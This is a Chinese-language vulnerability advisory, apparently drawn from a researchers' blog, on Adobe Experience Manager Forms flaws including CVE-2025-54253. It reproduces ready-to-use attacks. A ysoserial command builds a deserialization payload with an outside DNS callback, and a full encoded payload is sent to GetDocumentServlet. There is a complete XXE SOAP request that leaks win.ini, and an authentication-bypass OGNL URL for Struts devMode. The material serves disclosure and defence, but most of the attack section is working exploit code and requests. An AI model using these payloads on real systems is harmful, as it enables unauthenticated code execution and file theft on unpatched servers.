Adobe Experience Manager漏洞CVE-2025-54253
Adobe Experience Manager(AEM)是 Adobe 公司推出的企业级内容管理和数字营销解决方案,基于Java技术栈和 OSGi 开源架构构建。
一、基本情况
AEM 内容管理系统用于移动设备、网站等终端,支持创建内容碎片,以无头方式与第三方内容管理端集成,包含店内大屏的内容发布方案。
AEM 是 Adobe Experience Cloud 的一部分基于 Java 技术栈和 OSGi 架构,可以通过开发自定义组件等方式,满足不同企业的特定需求。

栋科技漏洞库关注到Adobe Experience Manager版本6.5.23及更早版本配置错误漏洞,被追踪为CVE-2025-54253,CVSS 3.X评分10.0。
二、漏洞简介
CVE-2025-54253漏洞是存在于Adobe Experience Manager版本6.5.23及更早版本存在一个配置错误漏洞,漏洞可能会导致任意代码执行。
Adobe官方已于2025年8月修复了该漏洞,同时修复的还有CVE-2025-54254——同一解决方案中存在的XML外部实体引用限制不当漏洞。
但由于这两个漏洞的概念验证(PoC) exploit在修复前已被公开,利用漏洞绕过安全机制并执行代码,攻击者尝试利用它们只是时间问题。
具体来说,CVE-2025-54253漏洞是AEM Forms中的配置错误,导致管理界面中Apache Struts的“devMode”被启用,并存在认证绕过漏洞。
导致未认证攻击者可运行Struts框架将解析的表达式,进而导致远程代码执行(RCE),利用此问题不需要用户交互,并且范围有所变化。
该漏洞具体影响版本为Adobe Experience Manager (AEM) Forms on JEE 6.5.23.0及更早版本,可通过低复杂度攻击利用且无需用户交互。
研究人员Shubham Shah和Adam Kues报告了三个漏洞,Adobe在此期间仅针对三个严重漏洞中的一个CVE-2025-49533漏洞发布了补丁。
研究人员在Adobe未能在90天内修复后发布PoC exploit,这些安全漏洞主要适用于通过JBoss等J2EE兼容服务器独立部署的AEM Forms。
通过Struts2 devmode认证绕过到RCE链(SL-AEM-FORMS-1)和AEM Forms web services的XXE(SL-AEM-FORMS-2)没有公开补丁。
三、漏洞拆解
分析攻击面时常遇到:资产上部署技术并非立即显而易见,当我们看到资产暴露默认的IIS页面或默认的Tomcat页面时,这种情况尤为常见。
每当遇到这样的资产时,通常会发现一些在目录结构中嵌套多层不知名技术,这些技术通常难以识别,且在大多数攻击面上构成重要盲点。
因此,我们对揭开这些技术并花时间研究以传统扫描器方式部署的应用程序的安全性产生了浓厚的兴趣。

怪异!没有人部署空白的JBoss服务器;这里肯定有某种东西 🙂
1、Adobe Experience Manager Forms
我们的技术检测超越客户资产的文档根目录,该资产通过向 /lc/libs/livecycle/core/content/login.html,
其发出请求来运行 Adobe Experience Manager Forms, 返回此产品的登录界面。
同样,调用 /edcws/ 揭示了几个特定于 AEM Forms 的暴露网络服务。

Adobe Experience Manager Forms 可以以两种不同的方式部署:它可以与标准 AEM 安装一起部署,或独立部署在 J2EE 兼容的服务器上。
我们在这篇博客中详细描述的漏洞主要适用于通过 J2EE 兼容的服务器(如 JBoss)进行独立部署的 AEM Forms。
2、一个标准的不安全反序列化漏洞 (CVE-2025-49533)
在JBoss环境中,应用程序包通常以.EAR文件的形式部署。这些文件包含每个WAR文件的映射及其在Web服务器上的位置。
该映射文件通常位于META-INF/application.xml。对于AEM Forms,当我们系统地处理WAR文件及其暴露的servlet时,遇到了以下模块:
<module>
<web>
<web-uri>adobe-forms-res.war</web-uri>
<context-root>/FormServer</context-root>
</web>
</module>
这个web.xmlFormServer模块的条目如下:
<servlet>
<servlet-name>GetDocumentServlet</servlet-name>
<servlet-class>com.adobe.formServer.GetDocumentServlet</servlet-class>
</servlet>
这个servlet有以下代码:
public class GetDocumentServlet extends BaseAppServlet {
private static final long serialVersionUID = 7783925106122386434L;
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
String serDoc = request.getParameter("serDoc");
String trace = request.getParameter("TRACE");
if (serDoc == null || serDoc.length() == 0)
throw new Exception("Missing serDoc parameter");
byte[] rawDoc = URLUtils.decodeAndUnzip(serDoc, false);
Document p = URLUtils.deserializeDoc(rawDoc);
response.setHeader("Content-Disposition", "attachment;filename=" + p.getAttribute("name"));
String contentType = p.getContentType();
if (contentType != null && !"".equals(contentType))
response.setContentType(contentType);
ServletOutputStream oSOS = response.getOutputStream();
if (p != null) {
InputStream docis = p.getInputStream();
int n = 0;
int tot_n = 0;
byte[] buf = new byte[8192];
while ((n = docis.read(buf)) > 0) {
oSOS.write(buf, 0, n);
tot_n += n;
}
p.dispose();
response.setContentLength(tot_n);
if (trace != null && trace.toLowerCase().indexOf("formserver") >= 0)
FormsLogger.logInfo(getClass(), "GetDocumenServlet: returning " + contentType + " (" + tot_n + ") bytes");
}
oSOS.flush();
oSOS.close();
} catch (Exception e) {
handleException(response, e);
}
}
}
该serDoc参数首次通过URLUtils.decodeAndUnzip解码,这涉及以下内容:
public static byte[] decodeAndUnzip(String in, boolean urlDecode) throws Exception {
long startTime = FormsLogger.logPerformance(false, 0L, "<URLUtils-decodeAndUnzip>");
byte[] res = null;
if (in != null) {
byte[] dec = null;
if (urlDecode) {
dec = ServletUtil.URLDecode(in);
} else {
dec = in.getBytes("UTF8");
}
if (dec != null) {
dec = Base64.decode(dec);
if (dec != null)
res = GZip.ungzip(dec);
}
}
FormsLogger.logPerformance(true, startTime, "</URLUtils-decodeAndUnzip>");
return res;
}
然后通过调用URLUtils.deserializeDoc(rawDoc)进行反序列化:
public static Document deserializeDoc(byte[] docBytes) throws Exception {
long startTime = FormsLogger.logPerformance(false, 0L, "<URLUtils-deserializeDoc>");
if (docBytes == null)
return null;
ByteArrayInputStream bis = new ByteArrayInputStream(docBytes);
ObjectInputStream ois = new ObjectInputStream(bis);
Document docObject = (Document)ois.readObject();
FormsLogger.logPerformance(true, startTime, "</URLUtils-deserializeDoc>");
return docObject;
}
为了利用这一点,我们首先尝试了以下命令:
java -jar ysoserial-all.jar CommonsBeanutils1 "nslookup test.gk4iaajx122vx96khp8h2h2pcgi863us.oastify.com" | gzip | base64 -w0
将上面命令生成的有效负载发送到我们的目标时出现了以下错误:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl from [Module "deployment.adobe-livecycle-jboss.ear.adobe-forms-res.war" from Service Module Loader]
java.lang.ClassNotFoundException: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl from [Module "deployment.adobe-livecycle-jboss.ear.adobe-forms-res.war" from Service Module Loader]
基于这个错误,需要花时间更详细地了解ysoserial构建的工具链,直到遇到了ysoserial仓库中与我们的有效负载生成过程相关的以下代码:
public static Object createTemplatesImpl(String command) throws Exception {
command = command.trim();
Class tplClass;
Class abstTranslet;
Class transFactory;
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
自从 org.apache.xalan.xsltc.trax.TemplatesImpl 存在于我们的环境中,只需要修改ysoserial命令即可利用这个反序列化问题,如下所示:
java -DproperXalan=true -jar ysoserial-all.jar CommonsBeanutils1 "nslookup test.gk4iaajx122vx96khp8h2h2pcgi863us.oastify.com" | gzip | base64 -w0
我们采取了这个输出,并发送了以下请求以实现RCE:
GET /FormServer/servlet/GetDocumentServlet?serDoc=<@urlencode>H4sIAAAAAAAAA61WS28bVRg949dMJk6auknTppT03SRtZ5q45NGkTRu3adwaGnCaSrhSdD252NPYM9OZO41dCRas+AFsWCIhddFuWlCpkEBiCQtWrGCDhGCBBBs2SDy/GTvPWoJK2PJ9fHe+97ln/PBnxD0XvbfZXab5wqxo865pu6aov+pzn7/7zemPfp9++1EUkSxinnmP56AadtVhLhO2K7A7F2jqgaaeWZdP1hwAETJ8wnZLGnOYUeYa6VVty9OKnFmBgqfN0GpD6/v33/nJO/TBXASRLV7u4C1IOSiOazvcFXWBVMNrhVklPS9c0yqRR/I2FKYRiLWG+EiGeTxredzyTGHe5RvOVqO33rw1/8NXEaDmCHTZvnB8Md9wYXJvNUYZRMnmWQpE83xL25RJjZEPzbQEdy1W0WpeRRiacFlNW+BVp8IE97I0t928/rn18EE6ikQWHUumtcwt8YpfLXI3i84lUrC8ChdZktcKUJeKdcENe5l7AtFCYaaAxJJRYR5tU4VNGWcC2WQO8SWLVXlQnVgOO5e2Z7C1ORvyRnPwN318N3R07c+9PaXSt2NhLYLGkTxSmHn4a+9vCWXhu6Y4fvTLvz75jI7TuKpiJw7LOKLgqIpjOK4iggEFg8E8pCCl4ISCkwpOtaELmgodp4NhWMaIjIsyzkiIGtVlqVUnJSSmTMsU5+mZgcFFCbEM1UTCjpxp8Ub1FlixwgNl22CVReaawb4pjImy6UnQcnXP9jgdVXSH1Ss2W/Z0sdadAKtVZi2vtYucKlNGpek2RqGRiV2FVsF15AUzVl5mTuhPxn7KSYKat33X4LNmEEL3NutaYCaJbvRI6NpuUoJse1rQSRkvJTGKsSTGMUHJr5pWEmdBPiO6QVEVmVem9SkjiRR2yZhK4hzOJzGNCxRsaNe09ez1yzWDO8K0LQknn6cIW4K7XrzNDbE13rpHuhLaS3wNZnUJxwaerdJgq8K1Cztnr3I3uJJUo4GWDymGbQlmWlT+fZsNZ8rMzfM7PrcMPjn4uoSdG2ev+ZYwq2RTpcDWNz1bHDTF5CHGa5yqOTDQorubNShDg9M9k3DueYqYTk8MT4wOp0+Pjoylx9PDhPTp54LiMwYm6ca0IQNNwlniC9te8Z0DpCi00soZk7HbteGRkbu1idGVsjNeHimPOEbJHB9N+55mM0+Yb9QD5lVwWcIFWujEZTpxmd7gMj3kMn2Ny/SQy3S3US79YtEjljLEQpOqZFxRMYfDOEj3eo64gDoWgDEgDVoTwmncTTudZonm+NDHyD4Kj3tpTDSE2ENjsrneixmaFexbV34Met/QfCk1+yEuJT5F5Foq+hSxJ4inEk8gv4euoWhKyQ/FUm35++igjRps2vND8cdI5p+S6Ak6b94nYnxENlW6IjPYQVaDGDS0k1eVvh3oQyf66eQ48dlJSmSYUhijGKbDqHqp6n3rsaqYwAvYT7sX6deJ2B84LqO/bV7GgaAQB8MsD/kBIXeR4Ot1utynkuseGb0y9sjYS5eqgYZF7np0TW9kL1GxrhK1ZOj1KJglFlnF5/E7P5q/TFWv7Pl/CDE6a9sSklnLoisYvEE4CY+2gmb4vrjCluk2eUdIa3IbvSWbZ01aU9Euo0/C4f9gqiXFdK9RVz7UNu814u7/F3tU8AjVlRKkXx+1NACXHDZBCdFHgdGY3IZGqYHGjnU0fkG93EDjDkJBcN6AdDfhAmSIaJdQ0YU2+qugXLu4MHfjxtyssyqhFnS7o/YPPlGKQ0cJAAA=</@urlencode> HTTP/1.1
Host: target
这导致了DNS回调(由于我们的nslookup命令):

总的来说,这是一个相当标准的Java不安全反序列化问题,导致了命令执行。
除了编码和在调用ysoserial时使用额外的标志启用“properXalan”之外,让我们感到惊讶的是,这个漏洞在这段代码中隐藏了这么长时间。
3、一个更加标准的XXE (SL-AEM-FORMS-1)
由于序列化到RCE链的直接性,我们相信该产品存在其他安全问题。
当我们逐步了解暴露的各个Web应用程序时,我们开始对AEM Forms中基于Axis的Web服务感到好奇。
我们开始研究edc-webservice.war,它在AEM Forms独立服务器上映射为/edcws。
虽然这个模块使用了Apache Axis,但其认证处理完全是自定义的。
不幸的是,用于加载XML文档的网络服务认证机制以不安全的方式加载了XML文档,使得这个XXE漏洞在没有认证的情况下就可以利用。
以下代码负责在执行任何深度网服务代码之前加载与身份验证相关的信息:
public class SecurityCheckHandler extends BasicHandler {
private static final Logger logger = Logger.getLogger(com.adobe.edc.server.webservices.SecurityCheckHandler.class);
static Log log = LogFactory.getLog(com.adobe.edc.server.webservices.SecurityCheckHandler.class.getName());
private void processEDCSecurityData(String x, Document envDocument, SOAPHeader rootHeader, SOAPEnvelope soapEnvelope) throws Exception {
logger.debug("Entering Function :\t SecurityCheckHandler::LogFactory.getLog");
StringBuffer buffer = new StringBuffer(1024);
if (x.indexOf("<wsse:UsernameToken") > 0) {
String ustarttoken = "<wsse:Username>";
String uendtoken = "</wsse:Username>";
String pwstarttoken = "<wsse:Password Type=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText\">";
String pwendtoken = "</wsse:Password>";
int i = x.indexOf(ustarttoken);
int j = x.indexOf(uendtoken);
int k = x.indexOf(pwstarttoken);
int l = x.indexOf(pwendtoken);
String uname = x.substring(i + ustarttoken.length(), j);
String pwd = x.substring(k + pwstarttoken.length(), l);
WSSAddUsernameToken builder = new WSSAddUsernameToken(null, false);
builder.setPasswordType("http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText");
builder.build(envDocument, uname, pwd);
} else {
ByteArrayInputStream bin = new ByteArrayInputStream(x.getBytes("UTF-8"));
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setNamespaceAware(true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(bin);
Element e = (Element)envDocument.importNode(doc.getFirstChild(), true);
Element assertion = null;
NodeList list = e.getElementsByTagName("Assertion");
int i = list.getLength();
if (list != null && i > 0) {
assertion = (Element)list.item(0);
WSSAddSAMLToken saml = new WSSAddSAMLToken(null, false);
saml.build(envDocument, new SAMLAssertion(assertion));
} else {
Node ker = e.getFirstChild();
WSSAddXMLToken kerberosBuilder = new WSSAddXMLToken(null, false);
kerberosBuilder.build(envDocument, (Element)ker);
}
}
}
唯一棘手的部分是确定我们需要发送的精确XML消息。我们能够使用以下精心构造的请求来利用此问题:
POST /edcws/services/urn:EDCLicenseService HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: target
Content-Length: 17872
<!-- waf_bypass_padding_goes_here --><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://w...content-available-to-author-only...3.org/2001/XMLSchema-instance" xmlns:xsd="http://w...content-available-to-author-only...3.org/2001/XMLSchema" xmlns:tns1="http://e...content-available-to-author-only...e.com/edcwebservice" xmlns:impl="http://localhost:8080/axis/services/urn:EDCLicenseService" xmlns:ns2="http://c...content-available-to-author-only...e.com" xmlns:ns1="http://n...content-available-to-author-only...e.com/PolicyServer/ws"><SOAP-ENV:Header><EDCSecurity><@html_entities>
<!DOCTYPE doc [
<!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
<!ENTITY % SuperClass '>
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM '%file;qqq://x'>">
%eval;
%error;
<!ENTITY test "test"'
>
%local_dtd;
]><xxx>anything</xxx>
</@html_entities></EDCSecurity><Version>7</Version><Locale>de-de</Locale></SOAP-ENV:Header><SOAP-ENV:Body><impl:synchronize><SynchronizationRequest><firstTime>1</firstTime><licenseSeqNum>0</licenseSeqNum><policySeqNum>1</policySeqNum><revocationSeqNum>0</revocationSeqNum><watermarkTemplateSeqNum>0</watermarkTemplateSeqNum></SynchronizationRequest></impl:synchronize></SOAP-ENV:Body></SOAP-ENV:Envelope>
导致以下HTTP响应,泄露任何本地文件的全部内容:
HTTP/1.1 500 Internal Server Error
X-OneAgent-JS-Injection: true
X-Powered-By: Undertow/1
Server: JBoss-EAP/7
Content-Type: text/xml;charset=utf-8
Server-Timing: dtRpid;desc="1473414942", dtSInfo;desc="0"
Expires: Tue, 01 Apr 2025 04:18:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 01 Apr 2025 04:18:34 GMT
Connection: close
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><soapenv:Fault><faultcode>soapenv:Server.userException</faultcode><faultstring>java.net.MalformedURLException: no protocol: ; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
qqq://x</faultstring><detail><ns1:hostname xmlns:ns1="http://xml.apache.org/axis/">SERVER1</ns1:hostname></detail></soapenv:Fault></soapenv:Body></soapenv:Envelope>
4、STRUTS2 开发模式在 2025 年?! (SL-AEM-FORMS-2)
在审计AEM Forms的所有不同模块时,我们发现了一个相对简单的身份验证绕过漏洞,漏洞存在于用于强制执行身份验证的一个过滤器中。
尽管这个过滤器的名称是com.adobe.framework.SecurityFilter,但事实正好相反:
StringBuffer url = request.getRequestURL();
if (url.indexOf(this.timeoutPage) >= 0 || url.indexOf(this.failPage) >= 0 || url.indexOf("login.") >= 0) {
logger.debug("Allow request to pass through: ", (Object)url.toString());
inChain.doFilter(inRequest, inResponse);
}
这个“安全过滤器”是阻止访问adminui.war模块在/adminui下部署的唯一真正障碍。
更糟糕的是,这个模块的Struts配置表明Struts2 Devmode已经被启用(可能是被Adobe的开发者遗忘),在向企业客户交付该产品之前:
<!-- TODO -->
<constant name="struts.devMode" value="true" />
结合认证绕过漏洞和Struts devmode一直启用的事实,通过以下有效负载可以执行OGNL表达式:
/adminui/updateLicense1.do;login.?debug=command&expression=7*7
通过许多可用的公共沙盒绕过,将此提升为远程命令执行是微不足道的。在我们的情况下,我们处理的WAF相当复杂,由于有效负载在GET请求的第一行组件内,我们不得不有点创意才能实现RCE。
5、结论
我们披露的所有 AEM Forms 漏洞都不复杂。相反,这些问题是我们期望多年前就会被发现的。
这个产品线之前被称为 LiveCycle,已经被企业使用了近二十年。这引发了为何这些简单的漏洞没有被其他人发现或由 Adobe 修复的问题。
考虑到它很容易被提升为 RCE,看到默认情况下企业应用程序启用了 Struts DevMode 也让我们感到惊讶。
鉴于漏洞及XXE和身份验证绕过漏洞缺乏补丁可导致RCE链,强烈建议使用AEM Forms独立模式客户仅允许内部用户/网络访问此应用程序。
四、影响范围
Adobe Experience Manager <= 6.5.23
五、修复建议
Adobe Experience Manager > 6.5.23
六、参考链接
管理员已设置登录后刷新可查看